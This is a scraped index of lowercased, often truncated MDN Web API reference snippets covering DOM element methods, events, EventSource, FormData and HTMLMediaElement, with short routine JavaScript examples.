a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the default action using event.preventdefault().
Element: focus event - Web APIs
d" placeholder="password"> </form> javascript const password = document.queryselector('input[type="password"]'); password.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }); password.addeventlistener('blur', (event) => { event.target.style.background = ''; }); result event delegation there are two ways of implementing event delegation for this event: by using the focusin event, or by setting the usecapture parameter of addeventlistener() to true.
Element.getAttributeNames() - Web APIs
using getattributenames() along with getattribute(), is a memory-efficient and performant alternative to accessing element.attributes.
Element.insertAdjacentElement() - Web APIs
when one is clicked, it becomes selected and you can then press the insert before and insert after buttons to insert new divs before or after the selected element using insertadjacentelement().
Element.insertAdjacentHTML() - Web APIs
example // <div id="one">one</div> var d1 = document.getelementbyid('one'); d1.insertadjacenthtml('afterend', '<div id="two">two</div>'); // at this point, the new structure is: // <div id="one">one</div><div id="two">two</div> notes security considerations when inserting html into a page by using insertadjacenthtml(), be careful not to use user input that hasn't been escaped.
Element.insertAdjacentText() - Web APIs
you can enter some text into the form element, then press the insert before and insert after buttons to insert it before or after the existing paragraph text using insertadjacenttext().
Element: mouseenter event - Web APIs
e => { mousetarget.style.border = '5px dotted orange'; entereventcount++; addlistitem('this is mouseenter event ' + entereventcount + '.'); }); mousetarget.addeventlistener('mouseleave', e => { mousetarget.style.border = '1px solid #333'; leaveeventcount++; addlistitem('this is mouseleave event ' + leaveeventcount + '.'); }); function addlistitem(text) { // create a new text node using the supplied text var newtextnode = document.createtextnode(text); // create a new li element var newlistitem = document.createelement("li"); // add the text node to the li element newlistitem.appendchild(newtextnode); // add the newly created list item to list unorderedlist.appendchild(newlistitem); } result specifications specification status ui ev...
Element: mouseleave event - Web APIs
e => { mousetarget.style.border = '5px dotted orange'; entereventcount++; addlistitem('this is mouseenter event ' + entereventcount + '.'); }); mousetarget.addeventlistener('mouseleave', e => { mousetarget.style.border = '1px solid #333'; leaveeventcount++; addlistitem('this is mouseleave event ' + leaveeventcount + '.'); }); function addlistitem(text) { // create a new text node using the supplied text var newtextnode = document.createtextnode(text); // create a new li element var newlistitem = document.createelement("li"); // add the text node to the li element newlistitem.appendchild(newtextnode); // add the newly created list item to list unorderedlist.appendchild(newlistitem); } result specifications specification status ui ev...
Element.name - Web APIs
WebAPIElementname
xt" value="foo"> </form> <script type="text/javascript"> // get a reference to the first element in the form let formelement = document.forms['forma'].elements[0] // give it a name formelement.name = 'inputa' // show the value of the input alert(document.forms['forma'].elements['inputa'].value) </script> notes in internet explorer (ie), the name property of dom objects created using document.createelement() can't be set or modified.
Element.namespaceURI - Web APIs
you can create an element with the specified namespaceuri using the dom level 2 method document.createelementns.
Element.outerHTML - Web APIs
WebAPIElementouterHTML
exceptions syntaxerror an attempt was made to set outerhtml using an html string which is not valid.
Element.part - Web APIs
WebAPIElementpart
set using the part attribute), returned as a domtokenlist.
Element: paste event - Web APIs
to override the default behavior (for example to insert some different data or a transformation of the clipboard contents) an event handler must cancel the default action using event.preventdefault(), and then insert its desired data manually.
Element.removeAttribute() - Web APIs
usage notes you should use removeattribute() instead of setting the attribute value to null either directly or using setattribute().
Element.scroll() - Web APIs
WebAPIElementscroll
examples // put the 1000th vertical pixel at the top of the element element.scroll(0, 1000); using options: element.scroll({ top: 100, left: 100, behavior: 'smooth' }); specification specification status comment css object model (cssom) view modulethe definition of 'element.scroll()' in that specification.
Element.scrollBy() - Web APIs
WebAPIElementscrollBy
examples // scroll an element element.scrollby(300, 300); using options: element.scrollby({ top: 100, left: 100, behavior: 'smooth' }); specification specification status comment css object model (cssom) view modulethe definition of 'element.scrollby()' in that specification.
Element.scrollHeight - Web APIs
the scrollheight value is equal to the minimum height the element would require in order to fit all the content in the viewport without using a vertical scrollbar.
Element.scrollLeft - Web APIs
on systems using display scaling, scrollleft may give you a decimal value.
Element.scrollTo() - Web APIs
WebAPIElementscrollTo
examples element.scrollto(0, 1000); using options: element.scrollto({ top: 100, left: 100, behavior: 'smooth' }); specifications specification status comment css object model (cssom) view modulethe definition of 'element.scrollto()' in that specification.
Element.scrollTop - Web APIs
WebAPIElementscrollTop
on systems using display scaling, scrolltop may give you a decimal value.
Element.scrollWidth - Web APIs
the scrollwidth value is equal to the minimum width the element would require in order to fit all the content in the viewport without using a horizontal scrollbar.
Element: scroll event - Web APIs
instead, it is recommended to throttle the event using requestanimationframe(), settimeout(), or a customevent, as follows.
Element: select event - Web APIs
></p> function logselection(event) { const log = document.getelementbyid('log'); const selection = event.target.value.substring(event.target.selectionstart, event.target.selectionend); log.textcontent = `you selected: ${selection}`; } const input = document.queryselector('input'); input.addeventlistener('select', logselection); onselect equivalent you can also set up the event handler using the onselect property: input.onselect = logselection; specifications specification status ui eventsthe definition of 'select' in that specification.
Element.setAttribute() - Web APIs
you can see this using your browser's page inspector (chrome, edge, firefox, safari).
Element.shadowRoot - Web APIs
connectedcallback() { console.log('custom square element added to page.'); updatestyle(this); } attributechangedcallback(name, oldvalue, newvalue) { console.log('custom square element attributes changed.'); updatestyle(this); } in the updatestyle() function itself, we get a reference to the shadow dom using element.shadowroot.
Event.preventDefault() - Web APIs
html here's the form: <div class="container"> <p>please enter your name using lowercase letters only.</p> <form> <input type="text" id="my-textbox"> </form> </div> css we use a little bit of css for the warning box we'll draw when the user presses an invalid key: .warning { border: 2px solid #f39389; border-radius: 2px; padding: 10px; position: absolute; background-color: #fbd8d4; color: #3b3c40; } javascript and here's the javascript code that do...
Event.returnValue - Web APIs
WebAPIEventreturnValue
new projects should generally avoid using returnvalue, although they may if they choose to do so.
EventSource() - Web APIs
examples var evtsource = new eventsource('sse.php'); var eventlist = document.queryselector('ul'); evtsource.onmessage = function(e) { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); } note: you can find a full example on github — see simple sse demo using php.
EventSource.close() - Web APIs
WebAPIEventSourceclose
examples var button = document.queryselector('button'); var evtsource = new eventsource('sse.php'); button.onclick = function() { console.log('connection closed'); evtsource.close(); } note: you can find a full example on github — see simple sse demo using php.
EventSource.onerror - Web APIs
syntax eventsource.onerror = function examples evtsource.onerror = function() { console.log("eventsource failed."); }; note: you can find a full example on github — see simple sse demo using php.
EventSource.onmessage - Web APIs
syntax eventsource.onmessage = function examples evtsource.onmessage = function(e) { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); } note: you can find a full example on github — see simple sse demo using php.
EventSource.onopen - Web APIs
syntax eventsource.onopen = function examples evtsource.onopen = function() { console.log("connection to server opened."); }; note: you can find a full example on github — see simple sse demo using php.
EventSource.readyState - Web APIs
possible values are: 0 — connecting 1 — open 2 — closed examples var evtsource = new eventsource('sse.php'); console.log(evtsource.readystate); note: you can find a full example on github — see simple sse demo using php.
EventSource.url - Web APIs
WebAPIEventSourceurl
examples var evtsource = new eventsource('sse.php'); console.log(evtsource.url); note: you can find a full example on github — see simple sse demo using php.
EventSource.withCredentials - Web APIs
examples var evtsource = new eventsource('sse.php'); console.log(evtsource.withcredentials); note: you can find a full example on github — see simple sse demo using php.
EventTarget.dispatchEvent() - Web APIs
the event can be created using event constructor.
EventTarget.removeEventListener() - Web APIs
the event listener to be removed is identified using a combination of the event type, the event listener function itself, and various optional options that may affect the matching process; see matching event listeners for removal syntax target.removeeventlistener(type, listener[, options]); target.removeeventlistener(type, listener[, usecapture]); parameters type a string which specifies the type of event for which to remove an event listener.
ExtendableEvent.waitUntil() - Web APIs
example using waituntil() within a service worker's install event: addeventlistener('install', event => { const precache = async () => { const cache = await caches.open('static-v1'); return cache.addall([ '/', '/about/', '/static/styles.css' ]); }; event.waituntil(precache()); }); specifications specification status comment service workersthe defin...
FetchEvent.respondWith() - Web APIs
the way the html specification handles redirects for navigations ends up using the request url for the resulting window.location.
Fetch basic concepts - Web APIs
when a new headers object is created using the headers() constructor, its guard is set to none (the default).
File.fileName - Web APIs
WebAPIFilefileName
try to avoid using it.
File.getAsBinary() - Web APIs
WebAPIFilegetAsBinary
try to avoid using it.
FileReader.readAsBinaryString() - Web APIs
using filereader.readasarraybuffer() is recommended.
FileReaderSync - Web APIs
this method is deprecated, consider using readasarraybuffer() instead.
FileSystem - Web APIs
full support 7alternate name alternate name uses the non-standard name: domfilesystemedge full support ≤18prefixed notes full support ≤18prefixed notes prefixed implemented with the vendor prefix: webkitnotes edge only supports this api in drag-and-drop scenarios using the the datatransferitem.webkitgetasentry() method.
FileSystemDirectoryEntry.getDirectory() - Web APIs
n(direntry) { direntry.getfile(lang + "-dict.json", {}, function(fileentry) { fileentry.file(function(dictfile)) { let reader = new filereader(); reader.addeventlistener("loadend", function() { dictionary = json.parse(reader.result); }); reader.readastext(dictfile); }); }); }); } the loaddictionaryforlanguage() function starts by using getdirectory() to obtain the filesystemdirectoryentry object representing a subfolder named "dictionaries" located inside the specified app data directory.
FileSystemDirectoryEntry.getFile() - Web APIs
n(direntry) { direntry.getfile(lang + "-dict.json", {}, function(fileentry) { fileentry.file(function(dictfile)) { let reader = new filereader(); reader.addeventlistener("loadend", function() { dictionary = json.parse(reader.result); }); reader.readastext(dictfile); }); }); }); } the loaddictionaryforlanguage() function starts by using getdirectory() to obtain the filesystemdirectoryentry object representing a subfolder named "dictionaries" located inside the specified app data directory.
FileSystemDirectoryEntry - Web APIs
if you try creating a directory using a full path that includes parent directories that do not exist yet, an error is returned.
FileSystemEntry.getParent() - Web APIs
using promises currently, there isn't a promise-based version of this method.
FileSystemEntrySync - Web APIs
various browsers implement pieces of the file and directory entries api (otherwise known as the file system api) but you should try to avoid using it.
FontFaceSet.check() - Web APIs
WebAPIFontFaceSetcheck
syntax bool = afontfaceset.check(font); bool = afontfaceset.check(font, text); returns a boolean that is true if the font list is available parameters font: a font specification using the css value syntax, e.g.
FontFaceSet.load() - Web APIs
WebAPIFontFaceSetload
parameters font: a font specification using the css value syntax, e.g.
FormData.append() - Web APIs
WebAPIFormDataappend
example the following line creates an empty formdata object: var formdata = new formdata(); // currently empty you can add key/value pairs to this using formdata.append: formdata.append('username', 'chris'); formdata.append('userpic', myfileinput.files[0], 'chris.jpg'); as with regular form data, you can append multiple values with the same name.
FormData.delete() - Web APIs
WebAPIFormDatadelete
example the following line creates an empty formdata object and prepopulates it with key/value pairs from a form: var formdata = new formdata(myform); you can delete keys and their values using delete(): formdata.delete('username'); specifications specification status comment xmlhttprequestthe definition of 'delete()' in that specification.
FormData.get() - Web APIs
WebAPIFormDataget
example the following line creates an empty formdata object: var formdata = new formdata(); if we add two username values using formdata.append: formdata.append('username', 'chris'); formdata.append('username', 'bob'); the following get() function will only return the first username value appended: formdata.get('username'); // returns "chris" specifications specification status comment xmlhttprequestthe definition of 'get()' in that specification.
FormData.getAll() - Web APIs
WebAPIFormDatagetAll
example the following line creates an empty formdata object: var formdata = new formdata(); if we add two username values using formdata.append: formdata.append('username', 'chris'); formdata.append('username', 'bob'); the following getall() function will return both username values in an array: formdata.getall('username'); // returns ["chris", "bob"] specifications specification status comment xmlhttprequestthe definition of 'getall()' in that specification.
FormData.set() - Web APIs
WebAPIFormDataset
example the following line creates an empty formdata object: var formdata = new formdata(); // currently empty you can set key/value pairs on this using formdata.set: formdata.set('username', 'chris'); formdata.set('userpic', myfileinput.files[0], 'chris.jpg'); if the sent value is different than string or blob it will be automatically converted to string: formdata.set('name', 72); formdata.get('name'); // "72" specifications specification status comment xmlhttprequestthe definition of 'set()' in that specification.
FormDataEvent - Web APIs
this allows a formdata object to be quickly obtained in response to a formdata event firing, rather than needing to put it together yourself when you wish to submit form data via a method like xmlhttprequest (see using formdata objects).
Frame Timing API - Web APIs
example code of the interfaces described in this document is included in using the frame timing api.
Guide to the Fullscreen API - Web APIs
in addition, navigating to another page, changing tabs, or switching to another application (using, for example, alt-tab) while in fullscreen mode exits fullscreen mode as well.
GainNode.gain - Web APIs
WebAPIGainNodegain
if you still hear something, make sure you haven't // connected your source into the output in addition to using the gainnode.
Gamepad API - Web APIs
tutorials and guides using the gamepad api implementing controls using the gamepad api specifications specification status comment gamepad extensions editor's draft defines the experimental gamepad extensions.
Geolocation.clearWatch() - Web APIs
the geolocation.clearwatch() method is used to unregister location/error monitoring handlers previously installed using geolocation.watchposition().
GeolocationCoordinates.longitude - Web APIs
from the geolocationposition object, we obtain the user's latitude and longitude using position.coords.latitude and position.coords.longitude so we can update the displayed coordinates.
GeolocationPositionError - Web APIs
the geolocationpositionerror interface represents the reason of an error occurring when using the geolocating device.
Geolocation API - Web APIs
for further information on geolocation usage, read using the geolocation api.
GestureEvent - Web APIs
events using this interface include gesturestart, gesturechange, and gestureend.
GlobalEventHandlers.onanimationend - Web APIs
first, the "slideanimation" class, which establishes the animation that will cause the box to move over the course of five seconds, one time, using the "slidebox" keyframe set.
GlobalEventHandlers.onanimationstart - Web APIs
first, the "slideanimation" class, which establishes the animation that will cause the box to move over the course of five seconds, one time, using the "slidebox" keyframe set.
GlobalEventHandlers.onauxclick - Web APIs
function random(number) { return math.floor(math.random() * number); } button.onclick = function() { var rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; button.style.backgroundcolor = rndcol; }; button.onauxclick = function() { var rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; button.style.color = rndcol; } note: if you are using a three-button mouse, you'll notice that the onauxclick handler is run when either of the non-left mouse buttons are clicked.
GlobalEventHandlers.onchange - Web APIs
this may be done, for example, by clicking outside of the control or by using the tab key to switch to a different control.
GlobalEventHandlers.onclick - Web APIs
note: when using the click event to trigger an action, also consider adding this same action to the keydown event, to allow the use of that same action by people who don't use a mouse or a touch screen.
GlobalEventHandlers.oncontextmenu - Web APIs
is it disabled?<p> javascript window.oncontextmenu = (e) => { e.preventdefault(); } result pausing an animation this example pauses a spinning shape whenever you open the context menu.
GlobalEventHandlers.ondrag - Web APIs
<!doctype html> <html lang=en> <title>examples of using the ondrag global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { co...
GlobalEventHandlers.ondragend - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.bord...
GlobalEventHandlers.ondrop - Web APIs
<!doctype html> <html lang=en> <title>examples of using the ondrag global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { con...
GlobalEventHandlers.onkeypress - Web APIs
html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeypress = logkey; function logkey(e) { log.textcontent += ` ${e.code}`; } result filter keys with a regular expression this example filters the characters typed into a form field using a regular expression.
GlobalEventHandlers.onload - Web APIs
there are also dom events like domcontentloaded and domframecontentloaded (which can be handled using eventtarget.addeventlistener()) which are fired after the dom for the page has been constructed, but do not wait for other resources to finish loading.
GlobalEventHandlers.onpointerleave - Web APIs
</div> </body> </html> see using pointer events for additional details.
GlobalEventHandlers.onwheel - Web APIs
examples this example shows how to scale an element using the mouse (or other pointing device) wheel.
HTMLAnchorElement.referrerPolicy - Web APIs
this case is unsafe as it can leak path information that has been concealed to third-party by using tls.
HTMLAreaElement.referrerPolicy - Web APIs
this case is unsafe as it can leak path information that has been concealed to third-party by using tls.
Audio() - Web APIs
the event-based approach is best: myaudioelement.addeventlistener("canplaythrough", event => { /* the audio is now playable; play it if permissions allow */ myaudioelement.play(); }); memory usage and management if all references to an audio element created using the audio() constructor are deleted, the element itself won't be removed from memory by the javascript runtime's garbage collection mechanism if playback is currently underway.
HTMLBaseFontElement - Web APIs
htmlbasefontelement.color is a domstring representing the text color using either a named color or a color specified in the hexadecimal #rrggbb format.
HTMLCanvasElement.captureStream() - Web APIs
send it to another computer using an rtcpeerconnection // pc is an rtcpeerconnection created elsewhere pc.addstream(stream); specifications specification status comment media capture from dom elementsthe definition of 'htmlcanvaselement.capturestream()' in that specification.
HTMLCanvasElement.transferControlToOffscreen() - Web APIs
some drawing using the gl context ...
HTMLCanvasElement - Web APIs
events listen to these events using addeventlistener().
HTMLCollection.item - Web APIs
in javascript, it is easier to treat the htmlcollection as an array and to index it using array notation.
HTMLCollection - Web APIs
as valid characters, which would necessitate using bracket notation for property access.
HTMLDetailsElement - Web APIs
events listen to this event using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
HTMLElement: animationend event - Web APIs
bubbles yes cancelable no interface animationevent event handler property onanimationend examples this example gets an element that's being animated and listens for the animationend event: const animated = document.queryselector('.animated'); animated.addeventlistener('animationend', () => { console.log('animation ended'); }); the same, but using the onanimationend event handler property: const animated = document.queryselector('.animated'); animated.onanimationend = () => { console.log('animation ended'); }; live example html <div class="animation-example"> <div class="container"> <p class="animation">you chose a cold night to visit our planet.</p> </div> <button class="activate" type="button">activate animatio...
HTMLElement: animationiteration event - Web APIs
andler property onanimationiteration examples this code uses animationiteration to keep track of the number of iterations an animation has completed: const animated = document.queryselector('.animated'); let iterationcount = 0; animated.addeventlistener('animationiteration', () => { iterationcount++; console.log(`animation iteration count: ${iterationcount}`); }); the same, but using the onanimationiteration event handler property: const animated = document.queryselector('.animated'); let iterationcount = 0; animated.onanimationiteration = () => { iterationcount++; console.log(`animation iteration count: ${iterationcount}`); }; live example html <div class="animation-example"> <div class="container"> <p class="animation">you chose a cold night to visit o...
HTMLElement: animationstart event - Web APIs
bubbles yes cancelable no interface animationevent event handler property onanimationstart examples this listens for the animationstart event and logs a message when it is fired: const animated = document.queryselector('.animated'); animated.addeventlistener('animationstart', () => { console.log('animation started'); }); the same, but using onanimationstart: const animated = document.queryselector('.animated'); animated.onanimationstart = () => { console.log('animation started'); }; live example html <div class="animation-example"> <div class="container"> <p class="animation">you chose a cold night to visit our planet.</p> </div> <button class="activate" type="button">activate animation</button> <div ...
HTMLElement: change event - Web APIs
bubbles yes cancelable no interface event event handler property onchange depending on the kind of element being changed and the way the user interacts with the element, the change event fires at a different moment: when the element is :checked (by clicking or using the keyboard) for <input type="radio"> and <input type="checkbox">; when the user commits the change explicitly (e.g., by selecting a value from a <select>'s dropdown with a mouse click, by selecting a date from a date picker for <input type="date">, by selecting a file in the file picker for <input type="file">, etc.); when the element loses focus after its value was changed, but not commited ...
HTMLElement.dir - Web APIs
WebAPIHTMLElementdir
arabic languages and hebrew are typical languages using the rtl directionality.
HTMLElement: lostpointercapture event - Web APIs
const para = document.queryselector('p'); para.addeventlistener('lostpointercapture', () => { console.log('i\'ve been released!') }); para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); the same example, but using the onlostpointercapture event handler property: const para = document.queryselector('p'); para.onlostpointercapture = () => { console.log('i\'ve been released!') }; para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); specifications specification status pointer events obsolete ...
HTMLElement: pointerdown event - Web APIs
bubbles yes cancelable yes interface pointerevent event handler property onpointerdown examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerdown', (event) => { console.log('pointer down event'); }); using the onpointerdown event handler property: const para = document.queryselector('p'); para.onpointerdown = (event) => { console.log('pointer down event'); }; specifications specification status pointer events ...
HTMLElement: pointerenter event - Web APIs
bubbles no cancelable no interface pointerevent event handler property onpointerenter examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerenter', (event) => { console.log('pointer entered element'); }); using the onpointerenter event handler property: const para = document.queryselector('p'); para.onpointerenter = (event) => { console.log('pointer entered element'); }; specifications specification status pointer events ...
HTMLElement: pointerleave event - Web APIs
bubbles no cancelable no interface pointerevent event handler property onpointerleave examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerleave', (event) => { console.log('pointer left element'); }); using the onpointerleave event handler property: const para = document.queryselector('p'); para.onpointerleave = (event) => { console.log('pointer left element'); }; specifications specification status pointer events obsolete ...
HTMLElement: pointermove event - Web APIs
examples to add a handler for pointermove events using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointermove', (event) => { console.log('pointer moved'); }); you can also use the onpointermove event handler property: const para = document.queryselector('p'); para.onpointermove = (event) => { console.log('pointer moved'); }; specifications specification status pointer events ...
HTMLElement: pointerout event - Web APIs
bubbles yes cancelable yes interface pointerevent event handler property onpointerout examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerout', (event) => { console.log('pointer moved out'); }); using the onpointerout event handler property: const para = document.queryselector('p'); para.onpointerout = (event) => { console.log('pointer moved out'); }; specifications specification status pointer events obsol...
HTMLElement: pointerover event - Web APIs
bubbles yes cancelable yes interface pointerevent event handler property onpointerover examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerover', (event) => { console.log('pointer moved in'); }); using the onpointerover event handler property: const para = document.queryselector('p'); para.onpointerover = (event) => { console.log('pointer moved in'); }; specifications specification status pointer events obsolete ...
HTMLElement: pointerup event - Web APIs
bubbles yes cancelable yes interface pointerevent event handler property onpointerup examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerup', (event) => { console.log('pointer up'); }); using the onpointerup event handler property: const para = document.queryselector('p'); para.onpointerup = (event) => { console.log('pointer up'); }; specifications specification status pointer events obsolete ...
HTMLElement: transitioncancel event - Web APIs
interface transitionevent event handler property globaleventhandlers.ontransitioncancel examples this code gets an element that has a transition defined and adds a listener to the transitioncancel event: const transition = document.queryselector('.transition'); transition.addeventlistener('transitioncancel', () => { console.log('transition canceled'); }); the same, but using the ontransitioncancel property instead of addeventlistener(): const transition = document.queryselector('.transition'); transition.ontransitioncancel = () => { console.log('transition canceled'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition"></div> <div class="message"></div> .transition ...
HTMLElement: transitionend event - Web APIs
examples this code gets an element that has a transition defined and adds a listener to the transitionend event: const transition = document.queryselector('.transition'); transition.addeventlistener('transitionend', () => { console.log('transition ended'); }); the same, but using the ontransitionend: const transition = document.queryselector('.transition'); transition.ontransitionend = () => { console.log('transition ended'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px; ...
HTMLElement: transitionrun event - Web APIs
bubbles yes cancelable no interface transitionevent event handler property ontransitionrun examples this code adds a listener to the transitionrun event: el.addeventlistener('transitionrun', () => { console.log('transition is running but hasn\'t necessarily started transitioning yet'); }); the same, but using the ontransitionrun property instead of addeventlistener(): el.ontransitionrun = () => { console.log('transition started running, and will start transitioning when the transition delay has expired'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div...
HTMLElement: transitionstart event - Web APIs
bubbles yes cancelable no interface transitionevent event handler property ontransitionstart examples this code adds a listener to the transitionstart event: element.addeventlistener('transitionstart', () => { console.log('started transitioning'); }); the same, but using the ontransitionstart property instead of addeventlistener(): element.ontransitionrun = () => { console.log('started transitioning'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px; background: rgb...
HTMLFontElement.color - Web APIs
the format of the string must follow one of the following html microsyntaxes: microsyntax description examples valid name color string nameofcolor (case insensitive) green green green valid hex color string in rgb format: #rrggbb #008000 rgb using decimal values rgb(x,x,x) (x in 0-255 range) rgb(0,128,0) syntax colorstring = fontobj.color; fontobj.color = colorstring; examples // assumes there is <font id="f"> element in the html var f = document.getelementbyid("f"); f.color = "green"; specifications the <font> tag is not supported in html5 and as a result neither is <font>.color.
HTMLFormControlsCollection.namedItem() - Web APIs
like that one, in javascript, using the array bracket syntax with a string, like collection["value"] is equivalent to collection.nameditem("value").
HTMLFormControlsCollection - Web APIs
like that one, in javascript, using the array bracket syntax with a string, like collection["value"] is equivalent to collection.nameditem("value").
HTMLFormElement.name - Web APIs
internet explorer (ie) does not allow the name attribute of an element created using createelement() to be set or modified using the name property.
HTMLFormElement.submit() - Web APIs
<input> with attribute type="submit" will not be submitted with the form when using htmlformelement.submit(), but it would be submitted when you do it with original html form submit.
HTMLHyperlinkElementUtils.origin - Web APIs
the htmlhyperlinkelementutils.origin read-only property is a usvstring containing the unicode serialization of the origin of the represented url; that is: for url using the http or https, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified); for url using file: scheme, the value is browser dependant; for url using the blob: scheme, the origin of the url following blob:.
HTMLIFrameElement.referrerPolicy - Web APIs
examples var iframe = document.createelement("iframe"); iframe.src = "/"; iframe.referrerpolicy = "unsafe-url"; var body = document.getelementsbytagname("body")[0]; body.appendchild(iframe); // fetch the image using the complete url as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
HTMLIFrameElement.src - Web APIs
syntax refstr = iframeelt.src; iframeelt.src= refstr; example var iframe = document.createelement("iframe"); iframe.src = "/"; var body = document.getelementsbytagname("body")[0]; body.appendchild(iframe); // fetch the image using the complete url as the referrer specifications specification status comment html living standardthe definition of 'htmliframeelement: src' in that specification.
HTMLIFrameElement - Web APIs
see using full-screen mode for details.
HTMLImageElement.align - Web APIs
these should be replaced by using the css vertical-align property.
HTMLImageElement.crossOrigin - Web APIs
example in this example, a new <img> element is created and added to the document, loading the image with the anonymous state; the image will be loaded using cors and credentials will be used for all cross-origin loads.
HTMLImageElement.isMap - Web APIs
note: for accessibility reasons, you should generally avoid using server-side image maps, as they require the use of a mouse.
HTMLImageElement.lowSrc - Web APIs
there are a number of ways to achieve this; primary among them: higher compression levels (for example, a primary image saved as a jpeg using 85% quality might have a lowsrc version saved at 15%.
HTMLImageElement.useMap - Web APIs
lt="return to home page"> <area shape="rect" coords="25, 25, 100, 150" href="/index.html" alt="shop"> </map> given the image map named mainmenu-map, the image which uses it should look something like the following: <img src="menubox.png" usemap="#mainmenu-map"> for additional examples (including interactive ones), see the articles about the <map> and <area> elements, as well as the guide to using image maps.
HTMLInputElement: search event - Web APIs
using this control also fires the search event.
HTMLInputElement.webkitEntries - Web APIs
the read-only webkitentries property of the htmlinputelement interface contains an array of file system entries (as objects based on filesystementry) representing files and/or directories selected by the user using an <input> element of type file, but only if that selection was made using drag-and-drop: selecting a file in the dialog will leave the property empty (bug 1326031).
HTMLInputElement.webkitdirectory - Web APIs
the selected file system entries can be obtained using the webkitentries property.
HTMLMediaElement.audioTracks - Web APIs
the list of tracks can be accessed using array notation, or using the object's gettrackbyid() method.
HTMLMediaElement: canplay event - Web APIs
using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('canplay', (event) => { console.log('video can start, but not sure it will play through.'); }); using the oncanplay event handler property: const video = document.queryselector('video'); video.oncanplay = (event) => { console.log('video can start, but not sure it will play through.'); }; specificat...
HTMLMediaElement: canplaythrough event - Web APIs
using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('canplaythrough', (event) => { console.log('i think i can play through the entire ' + ' video without ever having to stop to buffer.'); }); using the oncanplaythrough event handler property: const video = document.queryselector('video'); video.oncanplaythrough = (event) => { console.log('i thi...
HTMLMediaElement.currentTime - Web APIs
the length of the media in seconds can be determined using the duration property.
HTMLMediaElement: durationchange event - Web APIs
using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('durationchange', (event) => { console.log('not sure why, but the duration of the video has changed.'); }); using the ondurationchange event handler property: const video = document.queryselector('video'); video.ondurationchange = (event) => { console.log('not sure why, but the duration of the video...
HTMLMediaElement: ended event - Web APIs
using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('ended', (event) => { console.log('video stopped either because 1) it was over, ' + 'or 2) no further data is available.'); }); using the onended event handler property: const video = document.queryselector('video'); video.onended = (event) => { console.log('video stopped either because 1) it ...
HTMLMediaElement.load() - Web APIs
load() will reset the element and rescan the available sources, thereby causing the changes to take effect.
HTMLMediaElement.networkState - Web APIs
network_idle 1 htmlmediaelement is active and has selected a resource, but is not using the network.
HTMLMediaElement: playing event - Web APIs
using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('playing', (event) => { console.log('video is no longer paused'); }); using the onplaying event handler property: const video = document.queryselector('video'); video.onplaying = (event) => { console.log('video is no longer paused.'); }; specifications specification status ...
HTMLMediaElement: ratechange event - Web APIs
using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('ratechange', (event) => { console.log('the playback rate changed.'); }); using the onratechange event handler property: const video = document.queryselector('video'); video.onratechange = (event) => { console.log('the playback rate changed.'); }; specifications specification status ...
HTMLMediaElement.seekToNextFrame() - Web APIs
this also lets you access media using frames as a seek unit rather than timecodes (albeit only by seeking one frame at a time until you get to the frame you want).
HTMLMediaElement: seeked event - Web APIs
using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('seeked', (event) => { console.log('video found the playback position it was looking for.'); }); using the onseeked event handler property: const video = document.queryselector('video'); video.onseeked = (event) => { console.log('video found the playback position it was looking for.'); }; specifica...
HTMLMediaElement: seeking event - Web APIs
using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('seeking', (event) => { console.log('video is seeking a new position.'); }); using the onseeking event handler property: const video = document.queryselector('video'); video.onseeking = (event) => { console.log('video is seeking a new position.'); }; specifications specification status...
HTMLMediaElement.sinkId - Web APIs
if it is using the user agent default, it returns an empty string.
HTMLMediaElement: stalled event - Web APIs
